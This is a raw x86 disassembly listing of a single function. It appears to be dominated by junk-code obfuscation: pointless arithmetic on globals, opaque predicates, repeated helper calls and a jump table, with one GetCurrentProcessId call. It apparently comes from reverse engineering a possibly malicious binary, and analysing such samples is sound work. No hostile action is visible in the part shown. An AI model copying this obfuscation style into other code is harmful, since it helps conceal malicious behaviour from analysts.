movzx eax, word [0x100ad0ac]
cdq
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x1f60], eax
mov dword [ebp - 0x1f5c], edx
mov edx, dword [ebp - 0x1f60]
or edx, dword [ebp - 0x1f5c]
jne 0x1005942d
mov dword [ebp - 0x690], 1
jmp 0x10059437
mov dword [ebp - 0x690], 0
movsx eax, byte [0x100ad09a]
movsx ecx, byte [ebp - 2]
xor eax, ecx
jne 0x10059452
mov dword [ebp - 0x694], 1
jmp 0x1005945c
mov dword [ebp - 0x694], 0
mov edx, dword [ebp - 0x690]
add edx, dword [ebp - 0x694]
jne 0x1005947e
xor eax, eax
mov dword [ebp - 0x1f70], 1
mov dword [ebp - 0x1f6c], eax
jmp 0x10059489
xorps xmm0, xmm0
movlpd qword [ebp - 0x1f70], xmm0
movsx ecx, word [ebp - 0xc]
test ecx, ecx
jne 0x1005949d
mov dword [ebp - 0x698], 1
jmp 0x100594a7
mov dword [ebp - 0x698], 0
movsx edx, word [ebp - 0xc]
xor edx, dword [ebp - 0x698]
jne 0x100594c7
xor eax, eax
mov dword [ebp - 0x1f68], 1
mov dword [ebp - 0x1f64], eax
jmp 0x100594d2
xorps xmm0, xmm0
movlpd qword [ebp - 0x1f68], xmm0
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x22ec], edx
add eax, ecx
add eax, dword [ebp - 0x1f68]
add eax, dword [ebp - 0x1f70]
mov word [0x100ad120], ax
movsx eax, byte [0x100ad042]
not eax
mov word [ebp - 0x14], ax
mov ecx, 2
shl ecx, 0
xor edx, edx
mov word [ebp + ecx - 0x160], dx
mov eax, dword [0x100ad0e8]
or eax, dword [0x100ad0ec]
je 0x10059553
mov byte [0x100ad043], 1
mov eax, dword [ebp - 0x44]
cdq
mov ecx, eax
sub ecx, dword [0x100ad110]
mov eax, dword [ebp - 0x44]
cdq
add eax, ecx
mov dword [ebp - 0x44], eax
mov edx, 0x5f36
mov word [ebp - 0x10], dx
jmp 0x10059742
movzx eax, byte [ebp - 4]
test eax, eax
je 0x100595e3
movzx ecx, byte [ebp - 4]
sub ecx, 0x6b6ffdb3
mov byte [ebp - 2], cl
mov dl, byte [0x100ad00f]
mov eax, 1
imul ecx, eax, 0xe
mov byte [ecx + 0x100df598], dl
mov ecx, dword [0x100ad150]
sub ecx, 0x204fcd38
movzx eax, word [0x100ad0ac]
movsx edx, byte [0x100ad037]
sub eax, edx
cdq
add ecx, eax
movzx eax, byte [0x100ad00f]
cdq
sub ecx, eax
mov dword [0x100ad0b4], ecx
movzx eax, word [ebp - 0x20]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
mov dword [0x100ad0a8], eax
mov edx, dword [0x100adbec]
mov dword [0x100ad0a8], edx
movsx eax, word [0x100ad0bc]
cdq
sub eax, dword [0x100ad110]
mov word [0x100ad0bc], ax
jmp 0x10059742
cmp dword [0x100ad0a8], 0
je 0x10059692
movsx ecx, word [ebp - 0xc]
xor ecx, 0xe8e1f21b
mov eax, dword [0x100ad158]
sar eax, cl
mov dword [0x100ad158], eax
mov eax, dword [ebp - 0x34]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], esi
movsx edx, word [0x100ad0b0]
test edx, edx
jne 0x10059640
mov dword [ebp - 0x69c], 1
jmp 0x1005964a
mov dword [ebp - 0x69c], 0
mov eax, dword [0x100ad118]
imul eax, dword [ebp - 0x69c]
movzx ecx, word [0x100ad0b8]
movsx edx, byte [0x100ad00e]
sub ecx, edx
imul eax, ecx
not eax
movsx ecx, word [ebp - 0x14]
movsx edx, word [0x100ad0d0]
add ecx, edx
movsx edx, byte [ebp - 1]
not edx
movsx esi, byte [ebp - 1]
sub edx, esi
xor ecx, edx
sub eax, ecx
mov byte [str.E2_wcsrchr], al
jmp 0x10059742
mov eax, dword [0x100ad110]
or eax, dword [0x100ad114]
je 0x10059742
mov ecx, dword [0x100ad0e0]
add ecx, 0x443a
mov word [0x100ad0b0], cx
movsx edx, word [0x100ad0bc]
imul eax, edx, 0xb9fe
add eax, dword [0x100ad0c8]
mov dword [0x100ad0c8], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x22f0], edx
mov eax, 4
imul edx, eax, 0x24bf
mov dword [edx + 0x10170bc0], ecx
push 0x18e2c
push 0x320d28da
mov eax, dword [0x100ad164]
push eax
mov ecx, dword [0x100ad160]
push ecx
call fcn.1007a8a0
mov word [ebp - 0x28], ax
movzx eax, byte [ebp - 3]
movsx edx, word [0x100ad0bc]
sub eax, edx
movzx ecx, byte [0x100ad072]
and ecx, 0
imul eax, ecx
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov edx, dword [0x100ad140]
imul edx, dword [ebp - 0x48]
mov eax, dword [0x100ad140]
sub eax, edx
mov dword [0x100ad140], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x21c], ecx
xor edx, edx
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x4c], edx
mov eax, dword [0x100ad0c8]
add eax, 0x1e
mov word [0x100ad120], ax
mov ecx, dword [0x100ad150]
add ecx, 1
mov edx, dword [0x100ad154]
adc edx, 0
mov dword [0x100ad150], ecx
mov dword [0x100ad154], edx
movsx eax, byte [ebp - 1]
imul eax, dword [0x100ad0e0]
movsx ecx, word [0x100ad0cc]
movzx edx, word [ebp - 0x20]
sub ecx, edx
not ecx
sub eax, ecx
mov dword [0x100ad118], eax
mov al, byte [0x100ad00f]
add al, 1
mov byte [0x100ad00f], al
mov ecx, 0x1e9f
mov word [ebp - 0x24], cx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x103c], edx
mov dword [ebp - 0x1038], eax
cmp dword [ebp - 0x1038], 0
ja 0x1005997c
jb 0x100597ea
cmp dword [ebp - 0x103c], 3
ja 0x1005997c
mov ecx, dword [ebp - 0x103c]
mov dword [ebp - 0x2640], ecx
mov edx, dword [ebp - 0x2640]
jmp dword [edx*4 + 0x100788d8]
mov eax, dword [ebp - 0x21c]
add eax, 0x59b
mov dword [ebp - 0x254], eax
mov ecx, dword [ebp - 0x21c]
add ecx, 0x30b
mov dword [ebp - 0x22f4], ecx
movzx edx, word [ebp - 0x10]
imul eax, edx, 0xe198
mov word [0x100ad0c4], ax
mov ecx, dword [0x100ad15c]
add ecx, 0x6e394888
mov byte [ebp - 3], cl
mov byte [str.E2_wcsrchr], 0xa1
movsx edx, byte [ebp - 2]
movzx eax, byte [ebp - 3]
add edx, eax
movsx ecx, byte [ebp - 2]
sub ecx, edx
mov byte [ebp - 2], cl
movsx eax, byte [0x100ad043]
add eax, 0x48f0
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
mov edx, dword [ebp - 0x21c]
add edx, 0x487
mov dword [ebp - 0x22f8], edx
movsx eax, word [0x100ad0cc]
test eax, eax
je 0x10059a9f
movsx ecx, word [0x100ad0d0]
test ecx, ecx
je 0x10059a30
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1044], edx
mov dword [ebp - 0x1040], eax
jmp 0x10059a44
movzx eax, byte [0x100ad00f]
cdq
mov dword [ebp - 0x1044], eax
mov dword [ebp - 0x1040], edx
mov ecx, dword [ebp - 0x1044]
mov dword [ebp - 0x38], ecx
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
mov edx, dword [ebp - 0x48]
xor edx, 0xdfbc9719
xor eax, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], eax
mov cx, word [0x100adbec]
mov word [0x100ad0e4], cx
movsx dx, byte [ebp - 1]
mov word [ebp - 0x1c], dx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x224], eax
movzx ecx, word [ebp - 0x24]
test ecx, ecx
jne 0x10059abe
mov dword [ebp - 0x6ac], 1
jmp 0x10059ac8
mov dword [ebp - 0x6ac], 0
movsx edx, word [ebp - 0xc]
mov eax, dword [ebp - 0x6ac]
sub eax, edx
not eax
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov eax, dword [0x100ad148]
mov ecx, dword [0x100ad14c]
mov dword [ebp - 0x22fc], ecx
add eax, 0x8246
mov edx, dword [0x100ad140]
xor edx, eax
mov dword [0x100ad140], edx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
push 0
push 0xf1
push edx
push ecx
call fcn.1007a8a0
mov byte [0x100ad0a6], al
movzx eax, byte [ebp - 4]
movsx ecx, word [0x100ad0b0]
imul eax, ecx
cdq
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
xor ecx, dword [ebp - 0x30]
xor esi, dword [ebp - 0x2c]
not ecx
not esi
xor eax, ecx
xor edx, esi
mov dword [0x100ad138], eax
mov dword [0x100ad13c], edx
mov edx, dword [ebp - 0x224]
add edx, 0x25b
mov dword [ebp - 0x9f8], edx
mov dword [ebp - 0x220], 0x2dc
jmp 0x10059b8e
mov eax, dword [ebp - 0x220]
sub eax, 1
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jle 0x10059ce5
movsx ecx, byte [0x100ad042]
movzx edx, word [0x100ad0b8]
cmp ecx, edx
jge 0x10059bb9
mov dword [ebp - 0x6b0], 1
jmp 0x10059bc3
mov dword [ebp - 0x6b0], 0
movsx eax, byte [0x100ad042]
cmp eax, 0x1f
jge 0x10059bdb
mov dword [ebp - 0x6b4], 1
jmp 0x10059be5
mov dword [ebp - 0x6b4], 0
mov ecx, dword [ebp - 0x6b0]
cmp ecx, dword [ebp - 0x6b4]
jle 0x10059c8d
movsx edx, byte [0x100ad073]
not edx
imul edx, dword [0x100ad140]
mov esi, edx
movzx eax, byte [str.px_04X_]
cdq
mov ecx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
push edx
push eax
push edi
push ecx
call fcn.1007a8a0
sub esi, eax
movsx eax, byte [str.ZFreeSid]
movsx edx, word [ebp - 0x14]
and edx, dword [ebp - 0x38]
add eax, edx
not eax
cdq
and esi, eax
mov dword [ebp - 0x48], esi
movzx eax, byte [0x100ad072]
cdq
mov ecx, dword [0x100ad13c]
push ecx
mov ecx, dword [0x100ad138]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movzx eax, byte [0x100ad072]
cdq
sub eax, ecx
mov byte [0x100ad072], al
mov edx, dword [0x100ad110]
sub edx, 0xcbc36241
mov eax, dword [0x100ad114]
sbb eax, 0x4e4ef
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
mov byte [str.px_04X_], 0x2a
jmp 0x10059cce
mov ecx, dword [0x100ad118]
sub ecx, 1
mov dword [0x100ad118], ecx
movzx edx, byte [ebp - 4]
test edx, edx
je 0x10059cb0
movsx eax, byte [ebp - 5]
mov dword [ebp - 0x6b8], eax
jmp 0x10059cbc
mov ecx, dword [0x100ad100]
mov dword [ebp - 0x6b8], ecx
mov edx, dword [ebp - 0x6b8]
mov dword [0x100ad158], edx
mov al, byte [ebp - 0x38]
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
add ecx, 1
adc edx, 0
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
jmp 0x10059b7f
mov eax, dword [ebp - 0x224]
add eax, 0x537
mov dword [ebp - 0x2300], eax
mov byte [ebp - 2], 0x3e
movsx eax, word [ebp - 0x14]
cdq
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movsx ecx, byte [0x100ad043]
movsx edx, byte [ebp - 2]
add ecx, edx
movsx eax, byte [0x100ad043]
add eax, ecx
mov byte [0x100ad043], al
mov ecx, dword [ebp - 0x224]
add ecx, 0x4cb
mov dword [ebp - 0x9fc], ecx
mov dword [0x100ad0e0], 0x6235
mov edx, dword [0x100ad0fc]
cmp edx, dword [ebp - 0x3c]
jg 0x10059d7c
jl 0x10059d70
mov eax, dword [0x100ad0f8]
cmp eax, dword [ebp - 0x40]
jae 0x10059d7c
mov dword [ebp - 0x6bc], 1
jmp 0x10059d86
mov dword [ebp - 0x6bc], 0
cmp dword [0x100ad0fc], 0
jg 0x10059da6
jl 0x10059d9a
cmp dword [0x100ad0f8], 0x4e
jae 0x10059da6
mov dword [ebp - 0x6c0], 1
jmp 0x10059db0
mov dword [ebp - 0x6c0], 0
mov ecx, dword [ebp - 0x6bc]
cmp ecx, dword [ebp - 0x6c0]
jl 0x1005a059
mov dword [ebp - 0x228], 0
jmp 0x10059ddd
cmp dword [ebp - 0x228], 0x3e4
jge 0x1005a057
mov byte [ebp - 5], 1
movsx eax, byte [str.E2_wcsrchr]
test eax, eax
je 0x10059e0a
mov ecx, dword [0x100ad0e0]
mov dword [ebp - 0x6c4], ecx
jmp 0x10059e16
mov edx, dword [0x100ad100]
mov dword [ebp - 0x6c4], edx
mov ax, word [ebp - 0x6c4]
mov word [ebp - 0x20], ax
mov byte [ebp - 5], 8
movzx ecx, word [ebp - 0x20]
test ecx, ecx
jne 0x10059e39
mov dword [ebp - 0x6c8], 1
jmp 0x10059e43
mov dword [ebp - 0x6c8], 0
movsx eax, word [0x100ad0e4]
cdq
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x1f78], ecx
mov dword [ebp - 0x1f74], esi
mov edx, dword [ebp - 0x1f78]
or edx, dword [ebp - 0x1f74]
jne 0x10059e81
mov dword [ebp - 0x6cc], 1
jmp 0x10059e8b
mov dword [ebp - 0x6cc], 0
movzx eax, byte [0x100ad0a6]
imul eax, dword [ebp - 0x6c8]
and eax, dword [ebp - 0x6cc]
not eax
movsx ecx, word [0x100ad0b0]
movsx edx, byte [0x100ad00d]
imul ecx, edx
movsx edx, word [0x100ad11c]
movzx esi, byte [ebp - 4]
not esi
add edx, esi
sub ecx, edx
sub eax, ecx
mov word [ebp - 0x24], ax
movzx eax, word [ebp - 0x28]
test eax, eax
jne 0x10059edd
mov dword [ebp - 0x6d0], 1
jmp 0x10059ee7
mov dword [ebp - 0x6d0], 0
mov ecx, dword [ebp - 0x48]
not ecx
mov edx, dword [ebp - 0x6d0]
sub edx, ecx
not edx
movsx eax, word [ebp - 0xc]
movsx ecx, byte [0x100ad00d]
not ecx
sub eax, ecx
xor edx, eax
mov byte [0x100ad072], dl
mov dl, byte [ebp - 5]
mov byte [ebp - 0x6d4], dl
cmp byte [ebp - 0x6d4], 0
je 0x10059f2d
jmp 0x1005a0d1
mov edx, 0xec9ceaed
or edx, 0x89952
je 0x1005a0d1
mov eax, dword [0x100adbec]
mov dword [0x100ad0e0], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x38], ecx
movsx edx, word [ebp - 0x14]
add edx, 0x51
mov byte [ebp - 5], dl
movzx eax, byte [0x100ad0a6]
imul eax, eax, 0xadc
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movsx ecx, word [0x100ad0cc]
movzx edx, word [0x100ad0f0]
add ecx, edx
mov byte [0x100ad00d], cl
movzx eax, word [0x100ad120]
cdq
push 0x35829
push 0x4072ad2a
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0e4], ax
movsx eax, word [ebp - 0x14]
add eax, 0x6235
cmp dword [0x100ad0e0], eax
jne 0x1005a31b
mov eax, dword [0x100ad0c8]
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x10]
cdq
add eax, 0x2929b9b7
adc edx, 0x34dbb
mov dword [ebp - 0x1f88], ecx
mov dword [ebp - 0x1f84], esi
mov dword [ebp - 0x1f90], eax
mov dword [ebp - 0x1f8c], edx
mov edx, dword [ebp - 0x1f88]
cmp edx, dword [ebp - 0x1f90]
jne 0x1005a31b
mov eax, dword [ebp - 0x1f84]
cmp eax, dword [ebp - 0x1f8c]
jne 0x1005a31b
movsx ecx, word [ebp - 0x1c]
test ecx, ecx
je 0x1005a1fc
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movsx edx, byte [0x100ad00e]
add edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
not eax
mov ecx, dword [0x100ad158]
sub ecx, eax
xor edx, ecx
add edx, dword [0x100ad110]
not edx
mov byte [ebp - 3], dl
mov edx, 1
imul eax, edx, 0x45
movsx ecx, byte [eax + 0x100df598]
movzx edx, word [ebp - 0x10]
imul edx, ecx
mov word [ebp - 0x10], dx
mov eax, dword [0x100ad0e0]
imul eax, dword [ebp - 0x34]
mov word [0x100ad130], ax
movsx eax, word [ebp - 0x1c]
cdq
sub eax, dword [0x100ad160]
mov word [ebp - 0x1c], ax
movzx eax, byte [str.px_04X_]
cdq
mov ecx, dword [0x100ad164]
push ecx
mov ecx, dword [0x100ad160]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov eax, dword [ebp - 0x38]
cdq
mov edx, dword [0x100ad0e8]
sub edx, eax
add ecx, edx
mov word [ebp - 0x18], cx
jmp 0x1005a234
movsx eax, word [ebp - 0x1c]
cmp dword [ebp - 0x48], eax
jb 0x1005a234
mov cx, word [0x100ad130]
add cx, 1
mov word [0x100ad130], cx
mov edx, dword [ebp - 0x38]
sub edx, dword [0x100ad100]
or edx, dword [ebp - 0x38]
mov dword [ebp - 0x38], edx
movzx eax, word [ebp - 0x20]
add eax, 0x35356064
mov byte [0x100ad042], al
jmp 0x1005a31b
mov dword [0x100ad0e0], 0x6235
movzx ecx, word [0x100ad120]
add ecx, 0x22
mov word [0x100ad0bc], cx
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov ecx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x30]
adc eax, ecx
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
push eax
push edx
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
mov dl, byte [ebp - 3]
sub dl, 1
mov byte [ebp - 3], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x22c], 0x43
mov ax, word [0x100ad0f8]
mov word [0x100ad0ac], ax
mov ecx, 8
mov word [0x100ad0cc], cx
movzx edx, word [ebp - 0x10]
sub edx, 0x2f37
mov word [ebp - 0x28], dx
movsx eax, word [ebp - 0xc]
movsx ecx, word [0x100ad0bc]
cmp eax, ecx
jg 0x1005a5df
xor edx, edx
mov dword [0x100ad0e8], 2
mov dword [0x100ad0ec], edx
mov eax, dword [0x100ad150]
add eax, 0xf8
mov dword [0x100ad0e0], eax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
add ecx, 1
adc edx, 0
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
movsx ax, byte [0x100ad00d]
mov ecx, 2
imul edx, ecx, 0x8e
mov word [edx + 0x100df228], ax
movsx eax, byte [ebp - 1]
movsx ecx, word [0x100ad130]
not ecx
imul eax, ecx
test eax, eax
jne 0x1005a42b
mov dword [ebp - 0x6e0], 1
jmp 0x1005a435
mov dword [ebp - 0x6e0], 0
mov edx, dword [ebp - 0x6e0]
mov dword [0x100ad0a8], edx
mov eax, dword [0x100ad0e8]
mov ecx, dword [0x100ad0ec]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x198]
or edx, dword [ebp - 0x194]
je 0x1005a497
cmp dword [ebp - 0x198], 1
jne 0x1005a47c
cmp dword [ebp - 0x194], 0
je 0x1005a52c
cmp dword [ebp - 0x198], 2
jne 0x1005a492
mov eax, dword [0x100ad0c8]
add eax, 0x77574abb
mov byte [ebp - 1], al
cmp dword [0x100ad140], 0
je 0x1005a4b9
movsx ecx, word [ebp - 0xc]
mov dword [ebp - 0x6e4], ecx
jmp 0x1005a4c3
movsx edx, byte [ebp - 2]
mov dword [ebp - 0x6e4], edx
mov eax, dword [ebp - 0x6e4]
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movzx eax, byte [0x100ad00f]
xor eax, 0x3df2faa0
mov byte [0x100ad037], al
movzx eax, word [ebp - 0x28]
cdq
push 0xe3792
push 0x6578051c
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movsx eax, word [0x100ad130]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad130], ax
movzx edx, word [ebp - 0x20]
mov eax, dword [0x100ad0e0]
xor eax, edx
mov dword [0x100ad0e0], eax
jmp 0x1005a5dd
movzx eax, word [ebp - 0x20]
movsx ecx, byte [0x100ad00e]
add eax, ecx
movzx edx, word [ebp - 0x20]
sub edx, eax
mov word [ebp - 0x20], dx
cmp dword [0x100ad0b4], 0
jne 0x1005a60b
mov dword [ebp - 0x6e8], 1
jmp 0x1005a615
mov dword [ebp - 0x6e8], 0
movsx eax, word [0x100ad0e4]
imul eax, dword [ebp - 0x6e8]
mov word [ebp - 0x18], ax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x30]
adc edx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
cmp dword [ebp - 0x22c], 0x1bf
jl 0x1005a3ab
call fcn.100071e0
movzx edx, al
test edx, edx
jne 0x1005b281
mov dword [ebp - 0x230], 0
jmp 0x1005a685
mov eax, 0xffff8297
mov word [0x100ad0d0], ax
movsx ecx, word [0x100ad0d0]
movsx edx, word [ebp - 0x14]
add edx, 1
cmp ecx, edx
jne 0x1005b48d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret